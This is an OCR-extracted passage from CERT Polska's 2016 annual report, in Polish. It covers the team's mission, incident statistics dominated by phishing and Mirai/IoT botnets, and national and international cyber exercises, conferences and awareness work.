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Szanowni Panstwo,

Oddajemy w Panstwa rece raport z dziatal-
nosci zespotu CERT Polska w 2016 roku. Jest
on prébg opisu krajobrazu bezpieczenstwa
polskiego i globalnego internetu, widzianego
z perspektywy zgtoszen obstugiwanych przez
nasz zespodt oraz wiasnej dziatalnoici badaw-
czej. Raport zawiera takze opis projektéw reali-
zowanych przez CERT Polska i najwazniejszych
wydarzen, w ktérych bralismy udziat.

W 2016 roku Ministerstwo Cyfryzacji postawito
przed instytutem badawczym NASK zadanie
stworzenia Narodowego Centrum Cyberbez-
pieczenstwa (NC Cyber). Rolg zespotu CERT
Polska w tym projekcie jest zapewnienie zaple-
cza analitycznego o wysokich kompetencjach
technicznych, zdolnego do monitorowania
i analizowania zagrozeh dotyczgcych polskich

Wstep

uzytkownikdw internetu, a takze aktywnego
przeciwdziatania im. Jest to wiec natfuralna
kontynuacja naszej misji, ktérg wypetniamy od
ponad 20 lat. Wierzymy, Zze bezpieczehstwo
jest dziedzing, w ktérej wazniejsza od bizneso-
wej rywalizacji jest wspdtpraca, zaufanie i wy-
miana kluczowych informacji o zagrozeniach.
Dlatego tez mamy nadzieje, ze dzieki rozwojo-
wi NC Cyber i zaangazowaniu w fe inicjatywe
réznych podmiotdw - od dostawcdw ustug klu-
czowych, przez organy $cigania, po badaczy
i firmy komercyjne z sektora bezpieczenstwa,
zwiekszq sie takze mozliwosci wykorzystania
kompetencji zespotu CERT Polska. Rok 2017
bedzie zatem dla naszego zespotu rokiem wy-
zwan, ale i wynikajgcych z nich okazji do roz-
WOjU.

Zespot CERT Polska
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Zespot CERT Polska dziata w strukturach NASK
- instytutu badawczego prowadzgcego dzia-
talno$¢ naukowq, Narodowe Centrum Cyber-
bezpieczenstwa (NC Cyber), krajowy rejestr
domen .pl i dostarczajgcego zaawansowane
ustugi teleinformatyczne.

CERT Polska to pierwszy powstaty w Polsce ze-
spodtreagowania naincydenty (zang. Compu-
ter Emergency Response Team). Dzieki preznej
dziatalnosci od 1996 roku w srodowisku zespo-
téw reagujacych, stat sie rozpoznawalnym
i doswiadczonym podmiotem w dziedzinie
bezpieczehstwa komputerowego. Od poczqgt-
ku istnienia zespotu rdzeniem dziatalnosci jest
obstuga incydentéw bezpieczehstwa i wspot-
praca z podobnymi jednostkami na catym
Swiecie, zarébwno w dziatalnosci operacyjne;j,
jak i badawczo-wdrozeniowej. Od 1998 roku
CERT Polska jest cztonkiem miedzynarodowego
forum zrzeszajgcego zespoty reagujgce -
FIRST, a od roku 2000 nalezy do grupy roboczej
europejskich zespotéw reagujgcych — TERENA
TF-CSIRT i dziatajgcej przy niej organizaciji Tru-
sted Intfroducer. W 2005 roku z inicjatywy CERT
Polska powstato forum polskich zespotow
abuse — Abuse FORUM, natomiast w 2010 roku
CERT Polska dotgczyt do Anti-Phishing Working
Group, stowarzyszenia gromadzgcego firmy
i instytucje aktywnie walczgce z przestepczo-
$cig w sieci.

Do gtdwnych zadanh zespotu CERT Polska nalezy:
e rejestrowanie i obstuga zdarzeh naruszajg-
cych bezpieczehstwo sieci;

O CERT Polska

wykrywanie i analiza zagrozeh wymierzo-
nych w szczegdlnosci w polskich internau-
téw lub zagrazajgcych domenie .pl;
aktywne reagowanie w przypadku wystg-
pienia bezpodrednich zagrozeh dla pol-
skich internautéw;
wspodtpraca z innymi zespotami CERT w Pol-
sce i na $wiecie oraz organami $cigania;
udziat w krajowych i miedzynarodowych
projektach zwigzanych z tematykqg bezpie-
czenstwa teleinformatycznego;
dziatalno$¢ badawcza z zakresu metod
wykrywania incydentéw bezpieczenhstwa,
analizy ztosliwego oprogramowania i syste-
mow wymiany informacji o zagrozeniach;
rozwijanie wtasnych narzedzi do wykrywa-
nia, monitorowania, analizy i korelacji
zagrozen;
regularne publikowanie Raportu CERT Pol-
ska (https://www.cert.pl/publikacje/) o bez-
pieczenstwie polskich zasobdw internetu;
niezalezne analizy i testy rozwiqzan z dzie-
dziny bezpieczenhstwa teleinformatycznego;
dziatania informacyjno-edukacyjne, zmie-
rzajgce do wzrostu $wiadomosci w zakresie
bezpieczenstwa teleinformatycznego, w tym:
a. publikowanie informacji o bezpieczen-
stwie na blogu cert.pl oraz w wybranych
serwisach spoteczno$ciowych;
b. organizacja cyklicznej konferenciji SECURE
(www.secure.edu.pl);
c. szkolenia specjalistyczne.

fot. pixabay.com
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Najwazniejsze obserwacije

CERT Polska obstuzyt w 2016 roku 1926 incy-
dentdw, o 32 proc. wiecej nizw 2015. Jest to
przede wszystkim skutek zwiekszajgcej sie
Swiadomosciistnienia zespotdw CERT (w tym
CERT Polska) i ich roli w reagowaniu na in-
cydenty i zagrozenia, a takze bezpodred-
niej wspotpracy CERT Polska z coraz wiekszg
liczbg podmiotdw i organizacii.

Stabe zabezpieczenia Internetu Rzeczy
(Internet of Things) powoduje, ze w sto-
sunkowo tatwy sposdb sq one wykorzysty-
wane do atakdw sieciowych.

Botnety Mirai, uzywajgce gtébwnie kamer
internetowych oraz nagrywarek wideo, do-
konywaty rekordowych atakédw DDoS na
najwiekszych dostawcdw ustug interneto-
wych na Swiecie, powodujgc problemy
z dostepem do najpopularniejszych stron
i serwiséw. W Polsce obserwowaliémy na-
wet do 14 000 urzadzen dziennie nalezg-
cych do botnetu Mirai.

Wzrasta trend wykorzystywania przez prze-
stepcdw routeréw domowych. Przyktadem
takich dziatan jest wysytanie spamu oraz
uzycie domowych routerdw jako serwerdéw
Proxy.

Najczestszym typem incydentu obstugiwa-
nym w CERT Polska byt phishing, stanowigcy
ponad potowe wszystkich przypadkdw.
W stosunku do poprzednich lat w zauwazal-
ny sposéb wzrosta liczba stron phishingo-
wych oraz phishingu rozsytanego poprzez
e-maile. Wzrosta réwniez dystrybucja ztosli-
wego oprogramowania - zaréwno dobrze
juz znanego, jak i nowych wariantéw. Prze-
stepcy postugujg sie szerokim wachlarzem
rozwigzan szczegdlnie w przypadku kra-
dziezy oszczednosci z wykorzystaniem urzg-
dzeh mobilnych.

Srednia dzienna liczba obserwowanych
przez CERT Polska zainfekowanych kompu-
terébw w polskich sieciach to okoto 20 000.
W pordéwnaniu z 2015 rokiem jest to dwa
razy mniej. Warto$ci te sq zanizone. Z uwagina
ograniczenia zrédet, ktérymi dysponujemy.

z 2016 roku

Dominujgce botnety w polskich sieciach to:
Mirai, Conficker, ISFB oraz Nymaim.

Dosy¢ duzym zagrozeniem jest w Polsce
ransomware. Gtéwnymi drogami infekcji s
wiadomosci e-mail z zatgcznikami oraz
exploit kity.

Exploit kity sq wcigz jednq z najskuteczniej-
szych metod infekcji ztodliwym oprogra-
mowaniem, szeroko wykorzystywang takze
w Polsce. W 2016 roku rozpoczelismy nowy
cykl badah nad tym zagrozeniem.

Ataki DDoS mierzone w setkach Gbps stajg
sie codzienno$cig i bardzo realnym ryzy-
kiem dla biznesu.

Wiele serwiséw zalezy od kilku kluczowych
dostawcédw, co sprawia, ze ataki na tak
wrazliwe cele majg olbrzymiq skale oddzio-
tywania. Przyktadem jest atak na Dyn z paz-
dziernika 2016.

W 2016 roku opublikowano informacje
o wielu podatnosciach. Wedtug CERT Pol-
ska najwazniejsze dotyczyty Cisco ASA,
MySQL, jadra GNU/Linux, Tor Browser oraz
oprogramowania antywirusowego.
Skoordynowane akcje organdw $cigania
wielu krajow oraz podmiotdw prywatnych
przynoszg coraz czesciej wymierne pozy-
tywne skutki. Przyktadem jest doprowadze-
nie do zamkniecia botnetu Avalanche,
a takze coraz czestsze zatrzymania cyber-
przestepcodw - takze w Polsce.

Wraz ze wzrostem wartosci kryptowalut ro-
$nie liczba i skala atakdw na serwisy zajmu-
jace sie ich przechowywaniem i wymianag,
a takze motywacja przestepcdw do takich
dziatah. Warto$¢ $Srodkdw  skradzionych
w ten sposéb w 2016 roku jest liczona
w dziesigtkach milionéw dolardw.

Wcigz nierozwigzanym problemem - istot-
nym zwtaszcza w kontekscie atakdw o wiel-
kiej skali, takich jok kradziez pieniedzy
z systemu SWIFT czy domniemana ingeren-
cja w wybory prezydenckie w USA - pozo-
staje kwestia atrybuciji. CERT Polska podwiecit
temu zagadnieniu cze$¢ pracy w ramach
projektu CyberROAD.
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Ochrona cyberprzestrzeni RP
i dziatania CERT Polska

CERT Polska jako czesé
Narodowego Cenirum
N C Cyberbezpieczenstwa
CYB[R 1 lipca 2016 roku w NASK zo-
stato utworzone Narodowe
Centrum Cyberbezpieczehnstwa (NC Cyber).
4 lipca Ministerstwo Cyfryzaciji, Naukowa
i Akademicka Sie¢ Komputerowa oraz Zwigzek
Bankdéw Polskich zawarty partnerstwo na rzecz
wspotpracy w ramach NC Cyber. Wydarzenie
fo zainaugurowato proces podpisywania ko-
lejnych porozumien z podmiotami uznawany-
mi za kluczowe w kontekscie zwiekszania bez-
pieczenstwa cyberprzestrzeni RP.

Dziatajgce jako pion w ramach instytutu bao-
dawczego NASK NC Cyber jest centrum
kompetencyjnym, ktérego zadaniem jest ko-
ordynacja przekazywania informacji o incy-
dentach i zagrozeniach na poziomie krajo-
wym, obstuga incydentdw i reagowanie na
zagrozenia, tworzenie platformy wspdtpracy
pomiedzy kluczowymi instytucjami, organizo-
cjami i firmami, wsparcie koordynacji odpo-
wiedzi na incydenty, analiza zagrozeh, wspdt-
praca z organami $cigania i administracjg
publiczng oraz realizacja zadah na poziomie
strategicznym, wynikajgcych miedzy innymi
z nadchodzgcego wdrozenia dyrektywy NIS.

CERT Polska stanowi obecnie cze$¢ NC Cyber,
realizujgc zadania analityczne i operacyjne;
petni takze role osrodka zaawansowanej ana-
lizy zagrozeh na poziomie technicznym oraz,
dzieki rozbudowanej istniejgcej sieci kontak-
tow miedzynarodowych, wezta wspdtpracy
miedzynarodowe.

CERT Polska otrzymat od Ministerstwa Cyfryzao-
cji mandat do reprezentowania Polski w sieci
CSIRT, ktéra stworzona zostanie w 2017 roku na
mocy dyrektywy NIS.

Obstuga incydentéow i reagowanie
na zagrozenia

Statystyki zawarte w niniejszym rozdziale do-
tyczg wytqcznie zgtoszen i incydentéw za-
rejestrowanych w systemie obstugi zgtoszen
zespotu CERT Polska, przesytanych za posred-
nictwem formularza na stronie www.cert.pl lub
mailem na adres zgtoszeniowy cert@cert.pl.
Nie obejmujg one informacji o incydentach
gromadzonych i wymienianych automatycz-
nie w systemie né (por. str. 19)

W 2016 roku CERT Polska obstuzyt 7275 zgto-
szeh, na podstawie ktérych zidentyfikowano
1926 incydentéw. W tabeli 1 znajduje sie szcze-
goétowy podziat tych incydentdw na typy,
zgodnie z klasyfikacjg eCSIRT.net'. Wyrazny
wzrost liczby incydentéw, widoczny nie tylko
w poréwnaniu do roku 2015 (+32 proc.), ale tak-
ze jako wieloletni trend, przypisujemy przede
wszystkim zwiekszajqcej sie Swiadomosci istnie-
nia zespotdw CERT (w tym CERT Polska) i ich
roli w reagowaniu na incydenty i zagrozenia,
a takze bezposredniej wspdtpracy CERT Polska
z coraz wiekszq liczbg podmiotdw i organizacii.
W mniejszym stopniu frend jest wynikiem dzia-
talnosci cyberprzestepcdw, ktdrzy w ostatnich
latach ponownie mocno ,interesujq sie” indy-
widualnymi uzytkownikami (przyktadem tego
jest ransomware), ale takze coraz czesciej wy-
korzystujg przypadkowe infekcje w istotnych
instytucjach (np. rzgdowych czy finansowych)
jako punkt wyjécia do powazniejszych atakdw.
Ataki stricte ukierunkowane, w szczegdlnosci
przypisywane konkretnym rzgdom, cho¢ po-
wazne w skutkach, sq na tyle kosztowne, ze ich
liczba nie wptywa znaczgco na skale incyden-
téw w szerszym kontekscie.

Zdecydowanie najczestszym typem incydentu
obstugiwanym przez CERT Polska byt phishing,
stfanowiqcy ponad potowe  wszystkich

1 https://www.trusted-introducer.org/Incident-Classifica-
tion-Taxonomy.pdf


www.cert.pl
https://www.trusted-introducer.org/Incident-Classification-Taxonomy.pdf
https://www.trusted-introducer.org/Incident-Classification-Taxonomy.pdf

CERT Polska

Raport Roczny 2016

przypadkdw. Byty to przede wszystkim zgtosze-
nia fatszywych stron zagranicznych serwiséw,
umieszczonych na przejetych stronach Ilub
wykupionych serwerach w polskich sieciach
badZ w domenie .pl. Znacznie rzadziej phishing
dotyczyt podszywania sie pod polski bank.
W obu przypadkach CERT Polska kontaktowat
sie z administratorem serwisu oraz prowadzit
dziatania stuzgce jok najszybszemu zabloko-
waniu i usunieciu szkodliwych tre$ci. W kategorii
Kradziez tozsamosci, podszycie sie, ktéra obej-
muje phishing, zaobserwowalismy wzrost liczby
incydentéw w stosunku do poprzedniego roku
az o 106 proc. (495w 2015 ., 1069 w 2016 1.),
a wieC zZnaczqco przewyzszajgcy wzrost liczby
incydentéw w pozostatych kategoriach.

Niemal wszystkie przypadki sklasyfikowane jako
obraZliwe i nielegalne tresci (12 proc. incyden-
téw) dotyczyty rozsytania spamu z polskich sie-
ci. Niestety, polskie prawo pozostaje od lat nie-
skuteczne w Sciganiu nadawcdw niechcianej
korespondenciji. W przypadku zgtoszen spao-
mu CERT Polska moze jedynie podejmowac
dziatania zmierzajgce do edukacji nadawcy
czy wtasciciela serwisu, a takze reagowacé w
przypadku, gdy do wysytania spamu dochodzi
bez wiedzy wtasciciela serwera (np. w wyniku
wykorzystania podatnoici, otwartego serwera
proxy czy wtamania; por. str. 31). Wiekszos¢
takich zgtoszen jest jednak obstugiwana
i dystrybuowana automatycznie do wtascicie-
li sieci przez system né (por. str. 19), a zatem
nie znajduje odzwierciedlenia w tych statysty-
kach. Niewielki udziat innych rodzajéw niele-
galnych i obraZliwych tredci wynika z faktu, ze
ich obstugqg zajmuje sie dedykowany do tego
celu zespdt Dyzurnet.pl (www.dyzurnet.pl),
ktéry rowniez dziata w NASK w ramach
NC Cyber.

Podobnie jak w poprzednich latach nie pro-
wadzimy w wiekszodci szczegdtowej katego-
ryzacji ztosliwego oprogramowania (11 proc.
wszystkich incydentdéw), ktérego dotyczy

konkretny incydent. Powodem jest ztozono$¢
atakéw, w ktérych na poszczegdinych eta-
pach wykorzystywane sq réozne metody i typy
ztodliwego oprogramowania, np. przy pomocy
exploit kita czy konia trojahskiego dochodzi
do zainstalowania klienta botnetu, ktéry z kolei
moze posiadac¢ wiele funkcji np. oprogramo-
wania szpiegujgcego, trojana bankowego czy
ransomware. Podczas obstugi poszczegdlnych
incydentéw CERT Polska koncentruje sie na
eliminacji konkretnego przypadku (usuniecie
exploit kita z danej strony, pomoc przy ran-
somware). Istotng czesciq dziatah zespotu jest
jednak prowadzenie analiz pomagajgcych
lepiej pozna¢ dane zagrozenie, bedqgce przy-
czyng incydentéw, a docelowo wyeliminowa-
nie jego Zrédta. Opis najwazniejszych dziatan
CERT Polska w tym zakresie znajduje sie w roz-
dziale ,,Statystyki”.

Podsumowujgc, gtéwnym zauwazalnym mo-
tywem przestepstw komputerowych w 2016 r.
byta, podobnie jok w latach poprzednich,
che¢ kradziezy Srodkdw pienieznych nale-
zqcych do uzytkownikéw internetu. Oprécz
phishingdw dostrzegalny byt takze wzrost licz-
by préb oszustwa w odniesieniu do klientow
bankowosci mobilnej. Nie mozna przemilcze¢
réwniez kilku kampanii, ktére miaty na celu
podszycie sie pod duze spdtki z branzy tele-
komunikacyjnej i energetycznej. W ramach
tych kampanii rozsytane byty dobrze sprepa-
rowane maile, rzekomo zawierajgce e-fakture
za ustugi. W praktyce, za ich pomocqg dystry-
buowane byty w postaci zatgcznika rdzne
warianty oprogramowania szyfrujgcego dysk
ofiary i wymuszajgcego niematq optate za
udostepnienie klucza odszyfrowujgcego (ran-
somware). Ofiarami tego typu atakdw padaty
osoby prywatne, ale tez - co szczegdlnie mar-
twi - kilka instytucji pahstwowych. Pamietaj-
my, ze w parze z umachianiem zabezpieczeh
naszych systeméw powinno i§¢ takze state
podnoszenie $wiadomosci ich uzytkownikdw
w kwestii bezpieczenstwa.
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Obrazliwe i nielegalne tresci

Spam

Dyskredytacja, obrazanie

Pornografia dziecieca, przemoc

Niesklasyfikowane

Ztosliwe oprogramowanie

Wirus

Robak sieciowy

Kon trojanski

Oprogramowanie szpiegowskie

Dialer

Niesklasyfikowane

Gromadzenie informacji

Skanowanie

Podstuch

Inzynieria spoteczna

Niesklasyfikowane

Préby wiaman

Wykorzystanie znanych luk systemowych

Préby nieuprawnionego logowania

Wykorzystanie nieznanych luk systemowych

237

223

211

201

65

51

109

12,31

11,58

0,42

0,31

10,96

0.1

0,42

10,44

3,37

2,65

0,16

0,57

5,66

0,26

0,16
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14

Niesklasyfikowane

Wtamania

Wtamanie na konto uprzywilejowane

Wtamanie na konto zwykte

Wtamanie do aplikaciji

Niesklasyfikowane

Dostepnosé zasobow

Atak blokujgcy serwis (DoS)

Rozproszony atak blokujgcy serwis (DDoS)

Sabotaz komputerowy

Niesklasyfikowane

Atak na bezpieczenstwo informacji

Nieuprawniony dostep do informaciji

Nieuprawniona zmiana informaciji

Niesklasyfikowane

Oszustwa komputerowe

Nieuprawnione wykorzystanie zasobow

Naruszenie praw autorskich

Kradziez tozsamosci, podszycie sie

Niesklasyfikowane

Inne

Tabela 1. Incydenty obstuzone przez CERT Polska wedtug typdw

101

54

35

45

30

45

38

1069

21

1020

26

N

5,24

2,8

1,82

0,16

0.83

2,34

0,16

1,56

0.1

0,52

2,34

0,31

0,05

1,97

55,5

0.1

1,09

52,96

1,35

4,72
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1996 50

1997 75

1998 100
1999 105
2000 126
2001 741

2002 1013
2003 1196
2004 1222
2005 2516
2006 2427
2007 2108
2008 1796
2009 1292
2010 674
2011 605
2012 1082
2013 1219
2014 1282
2015 1456
2016 1926

Tabela 2. Liczba incydentdw obstuzonych
recznie przez CERT Polska

Cwiczenia NATO Locked Shields 2016

Miedzynarodowe ¢wiczenia obrony teleinfor-
matycznej NATO Locked Shields to najwigksze
techniczne ¢wiczenia tego typu na Swiecie.
Organizatorem corocznych ¢wiczen jest So-
jusznicze Cenfrum Doskonalenia Obrony Cy-
bernetycznej (NATO Cooperative Cyber De-
fence Centre of Excellence), ktére petni role
jednostki rozwojowo-szkoleniowej w zakresie
bezpieczenstwa teleinformatycznego, pro-
wadzonej i finansowej przez wiekszo$¢ panstw
cztonkowskich NATO, w tym przez Polske.

W 2016 roku ¢wiczenia Locked Shields odby-
ty sie w dniach 19-22 kwietnia. Udziat wzie-
to 20 zespotdéw reprezentujgcych 19 krajow,
a w organizacji uczestniczyto tqcznie ponad
600 oséb z 26 krajéw. Po raz pierwszy udziat
w éwiczeniach wzieli Brytyjczycy i Amerykanie.
Najlepszy w tej edyciji okazat sie zespdt ze Sto-
wagcji, na drugim miejscu uplasowat sie Zespot
Reagowania na Incydenty NATO (NCIRC),
a ostatnie miejsce na podium zajgt zespdt
Finlandii. Polska druzyna zajeta 6. miejsce.

Oprécz specjalistéw z CERT Polska nasz kraj
reprezentowali eksperci Sit Powietrznych, Ma-
rynarki Wojennej, Wojskowej Akademii Tech-
nicznej, Stuzby Kontrwywiadu Wojskowego,
Ministerstwa  Obrony Narodowej, Agenciji
Bezpieczehnstwa Wewnetrznego oraz Wojsko-
wego Instytutu tgcznosci. Zespdt dziatat pod
przewodnictwem Narodowego Centrum Kryp-
fologii.

Cwiczenia symulowaty miedzynarodowy kon-
flikt, w trakcie ktérego narodowe druzyny pet-
nity role Zespotdw Szybkiego Reagowania (ze-
spotéw ,,niebieskich”) fikcyjnego kraju Berylia.
Zadaniem kazdego z nich byta ochrona wir-
tualnej infrastruktury krytycznej, na ktérg skta-
dato sie prawie 80 systemdw, w tym serwery,
stacje robocze, urzgdzenia sieciowe, centralki
telefoniczne, symulowany dron wojskowy oraz
system SCADA.

Ataki przeprowadzane przez organizatoréw
(zespdt ,,czerwonych) prezentowaty szero-
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kie spektrum zagrozen - wykorzystywanie luk
w aplikacjach i ustugach, ztolliwe oprogra-
mowanie uruchamiane przez symulowanych
uzytkownikdw, skompromitowane juz wcze-
$niej serwery (uSpione backdoory - tylne furtki),
podstuchiwanie oraz przejecie ruchu siecio-
wego (BGP hijacking) czy ataki DDoS.

Organizatorzy punkfowali nie tylko skutecznqg
ochrone przed atakamizespotu ,,czerwonych”,
ale rébwniez zapewnienie dostepnosci ustug
dla uzytkownikdw kohcowych i wspdtprace
pomiedzy narodowymi zespotami ,,niebie-
skich” oraz raportowanie zagrozeh. Punkty
uzyska¢ mozna byto takze za wykonanie tech-
nicznej i prawnej analizy zagrozen.

Cwiczenia Cyber Europe 2016

ENISA, czyli Agen-
cja Unii Europejskiej
ds. Bezpieczenstwa
Sieci i Informacji
co dwa lata orgo-
nizuje ¢wiczenia
Cyber Europe. Ich

celem jest przygotowanie krajbw czton-
kowskich Unii Europejskiej do reagowania na
incydenty naruszajgce bezpieczenstwo infor-
matyczne na duzg skale. Cwiczenia pozwalajg
réwniez przetestowac procedury zarzgdzania
kryzysowego, zardbwno na poziomie krajo-
wym jak i miedzynarodowym. Z kazdq edycjq,
oprécz administracji publicznej, w ¢wicze-
niach biorg udziat rézne sektory - w 2012 roku
bankowy, w 2014 telekomunikacja oraz ener-
getyka, aw 2016 dostawcy internetu oraz firmy
z sektora bezpieczenhstwa IT.

W edycji 2016 udziat wzieto ponad 700 spe-
cjalistbw bezpieczehstwa informatycznego
z 30 krajow Unii Europejskiej oraz Europejskiego
Stowarzyszenia Wolnego Handlu (EFTA), w tym
ponad 300 organizacji: narodowe i rzgdowe
agencje oraz zespoty typu CERT, ministerstwa,
instytucje Unii Europejskiej oraz dostawcy ustug
kluczowych.

Pierwsza faza ¢wiczen, trwajgca od kwietnia
do listopada, polegata na technicznej analizie
kilkkunastu incydentéw, w tym wstecznej ana-
lizie prébek ztosliwego oprogramowania oraz

przeprowadzenia analiz poincydentalnych.
Dotyczyty one réznych systemdéw operacyj-
nych, aplikacji mobilnych, internetu rzeczy
(IoT), znanych oraz nieznanych podatnosci.
Scenariusze zwigzane z zadaniami tworzyty tto
dla drugiej, operacyjnej fazy ¢wiczenia, w kté-
rej wszyscy uczestnicy musieli potqczy¢ sity, by
przez dwa dni sprosta¢ atakom na infrastruk-
ture krytyczng i kluczowq panstw cztonkow-
skich. Pierwszego dnia testowano procedury
krajowe, a drugiego miedzynarodowe. Ostat-
nim etapem, ktéry odbyt sie juz w 2017, byta
dyskusja podsumowujgca z analizg wnioskéw
ptyngcych z &wiczeh.

Scenariusz ¢wiczeh przewidywat atak na
ustugi internetowe, paralizujgcy komunikacje
prawie w catej Europie. Grupa, ktéra stata
za atakiem byta réwniez odpowiedzialna za
wyciek danych klientdw operatordow teleko-
munikacyjnych. W celu rozwigzania incydentu
uczestnicy ¢wiczenia musieli wspdtpracowad
nie tylko ze sobq, ale takze z partherami z in-
nych panstw cztonkowskich. W operacyjnej
fazie Cyber Europe wrziety udziat nastepujgce
podmioty z Polski: CERT Polska, CERT.GOV.PL
- znajdujacy sie w strukturach Agencji Bezpie-
czehstwa Wewnetrznego, operatorzy teleko-
munikacyjni Orange i Exatel, a takze Polska
Obywatelska Cyberobrona, Rzgdowe Cen-
trum Bezpieczenstwa i Ministerstwo Cyfryzacii
jako koordynator.

W rankingu punktowym fazy technicznej ze-
spdt CERT Polska uplasowat sie na drugiej
pozycji w ogdlnej klasyfikacji (wérdéd tych,
ktérzy ujawniali swoje wyniki). Inne polskie
podmioty rowniez spisaty sie bardzo dobrze:
w pierwszej dziesigtce znalazty sie takze Polska
Obywatelska Cyberobrona oraz CERT Orange

Polska.
Konferencja SECURE 2016

25-26 pazdziernika 2016 roku w hotelu Airport
Okecie w Warszawie odbyta sie 20. edycja
SECURE, corocznej konferencji organizowanej
przez NASK i zespdt CERT Polska. Nowa lokalizac-
ja pozwolita na pomieszczenie rekordowej
liczby ponad 450 uczestnikdw. W programie
znalazty sie 44 prezentacje i sesje fematyczne,
prowadzone przez ponad 50 prelegentdw.
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Konferencja SECURE w sposdb przekrojowy
prezentuje problematyke bezpieczenstwa
teleinformatycznego - zarbwno w ujeciu tech-
nicznym, jak i organizacyjnym oraz prawnym,
stawiajgc jednocze$nie na jok najbardziej
praktyczne przedstawianie tematdw. Dlate-
go prelegentami SECURE sg przede wszystkim
praktycy, z ktérymi CERT Polska wspotpracuje
na co dzieh, oraz uznani badacze z czoto-
wych krajowych i zagranicznych organizacii
zajmujgcych sie bezpieczenstwem. Czes¢ pre-
lekcji wytaniana jest takze w formule ,,call for
speakers” sposrdd nadestanych propozycii.

W tym roku wéréd prelegentédw znalazt sie
miedzy innymi Reuben Paul - dziesiecioletni
pasjonat bezpieczenstwa i autor gier eduko-
cyjnych, ktéry wystgpit z tematem ,,Mindcraft
Security”. David Jacoby z Kaspersky Lab zain-
frygowat i zainspirowat uczestnikdw wyktadem
,Gamification of IT Security”, zbierajgc jedno-
czednie najwyzsze noty za styl prezentacji. Naj-
lepsze oceny za merytoryczng warto$¢ prelek-
cji otrzymali: Michat Sajdak (sekurak.pl), ktéry
przedstawiat praktyke przetamywania zabez-
pieczen urzgdzen loT, Michat Kluska i Grzegorz
Wanio (Everberg) z prezentacjg o nowych
obowiqgzkach dla ADO/ABI w zakresie ochrony
danych osobowych oraz Adam Haertle, kto-
ry opisat historie pewnego cyberprzestepcy
w prezentacji ,,Od zera do botmastera”.

Drugiego dnia konferencji odbyt sie panel dys-
kusyjny na temat praktycznych konsekwenciji
implementacji dyrektywy NIS, moderowany
przez Steve'a Pursera z ENISA. Na konferencji
nie mogto takze zabrakngé prezentacji czton-
kdw zespotu CERT Polska. Przemek Jaroszewski
opowiedziat o staboiciach elektronicznych
kart poktadowych, Mateusz Szymaniec wraz
z Matgorzatqg Debskqg przedstawili praktyczne
ataki na klientéw bankowosci mobilnej, a Ma-
ciej Kotowicz podzielit sie przemysleniami na
temat trudnosci w analizie plikdw wykonywal-
nych ELF. Z kolei Anna Rywczyhska z Akademii
NASK poruszyta istotny temat spoteczny doty-

czqcy roli internetu w $wiecie dziecka.

Patronat honorowy nad konferencjg SECURE
2016 objeto Ministerstwo Cyfryzacji, Agencja
Europejska ds. Bezpieczenstwa Sieci i Informa-
cji (ENISA) oraz Instytut Kodciuszki.

Nagrania prezentacji z SECURE 2016 dostepne
sg pod adresem: https://www.youtube.com/
playlist2list=PLghf5UNZbzG25kd7P46gAw3mz-
dYapre8V lub po zeskanowaniu kodu QR.

Wiecej informacji o konferenciji:
http://www.secure.edu.pl/
http://fb.com/Konferencja.SECURE
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Europejski Miesigc
Bezpieczenstwa
Cybernetycznego

W  pazdzierniku po raz

piqty obchodzony byt

w Europie Miesigc Bez-
pieczenstwa Cybernetycznego (ECSM). Zato-
zeniem ECSM jest zainteresowanie tematykq
bezpieczehstwa cybernetycznego jak najszer-
szej liczby uzytkownikéw, bez wzgledu na wiek
czy stopien technicznego zaawansowania.

W 2016 roku dziatania polskiej edycji ECSM
objeto patronatem Ministerstwo Cyfryzacii.
NASK, po raz czwarty, przy zaangazowaniu
CERT Polska oraz Dyzurnet.pl aktywnie uczestni-
czyt w promowaniu idei programu. Podnosze-
nie $wiadomosci na temat cyberbezpieczen-
stwa, budowanie schematdw prawidtowego
sposobu zachowan uzytkownikdw w  sieci,
zasady bezpiecznego przeptywu informaciji -
fo przewodnie hasta Miesigca Bezpiecznego
Internetu. Materiaty zamieszczone na stronie
http://bezpiecznymiesiac.pl/ dotyczyty aktual-
nych zagrozen i stanowity wskazowki dla uzyt-
kownikédw narazonych na potencjalne ataki.
Specjaing sekcje poswiecono tematyce
urzgdzen mobilnych, poniewaz ich stale rosng-
ca liczba stanowi duze wyzwanie dla bezpie-
czehstwa.

Kazdy z uczestnikdw zainteresowany proble-
matykg bezpieczehstwa w sieci, mogt wcie-
li¢ sie w role cztonka zespotu reagowania na
incydenty komputerowe. Scenariusz zadania
typu ,,Capture the Flag” wymagat od uczest-
nikdw konkursu praktycznych umiejetnosci
z zakresu inzynierii wstecznej, kryptografii oraz
bezpieczehstwa aplikacji internetowych. CERT
Polska nagrodzit trzy osoby, ktdére najszybciej
nadestaty poprawne rozwigzanie. W zabawie
wzieto udziat ponad kilkaset oséb, a kilkkadzie-
sigt z nich doszto do ostatniego etapu. Chet-
ni nadal mogg pobra¢ zadanie na stronie
https://ecsm?201é.cert.pl.

Biuletyn OUCH!

CERT Polska nieprzerwanie od 2011 roku konty-
nuuje misje podnoszenia Swiadomosci polskich
czytelnikdw miesiecznika OUCH! Biuletyn nie-
zmiennie cieszy sie duzym zainteresowaniem

na Swiecie, co potwierdza liczba jego wersji
jezykowych - aktualnie 29.

Kazdy z numerdéw porusza aspekty otaczo-
jace] nas technologii, jej bezpieczenstwa,
a co najwazniejsze zagrozeh dla uzytkownika.
W 2016 roku czytelnicy OUCH! mogli dowie-
dzie¢ sie miedzy innymi ,,Jak korzysta¢ z chmu-
ry”, ,,Jak bezpiecznie pozbyc¢ sie urzgdzenia
mobilnego” lub pozna¢ dziatanie ,Ransom-
ware'u”. OUCH! nie porusza zaawansowao-
nych aspektdw technicznych. Nie wymaga
od czytelnika fachowej wiedzy czy do$wiad-
czenia w bezpieczenstwie. Celem kazdej
publikacji jest przede wszystkim przyblizenie
wrazliwych punktéw uzytkowania technologii,
ktére bardzo czesto sq wykorzystywane przez
przestepcédw. Wraz ze wzrostem Swiadomo-
§ci o zagrozeniach zmniejszy sie skuteczno$é
atakow.

Kazdy numer OUCH! jest konsultowany oraz
wspottworzony przez ekspertdw SANS Institu-
te. CERT Polska jest odpowiedzialny za polski
przektad magazynu, jak i za adaptacije tresci
do polskiego rynku. OUCH! jest udostepniony
na licencji Creative Commons BY-NC-ND 3.0,
co oznacza, ze biuletyn moze by¢ dowolnie
rozpowszechniany w kazdej organizacji, pod
warunkiem, ze nie jest wykorzystywany w ce-
lach komercyjnych. Wszystkie polskie wydania
mozna znalez¢ pod adresem:
http://www.cert.pl/ouch.

Projekty
NECOMA

W maju 2016 roku zostat ukohczony trzyletni
miedzynarodowy projekt badawczy NECOMA
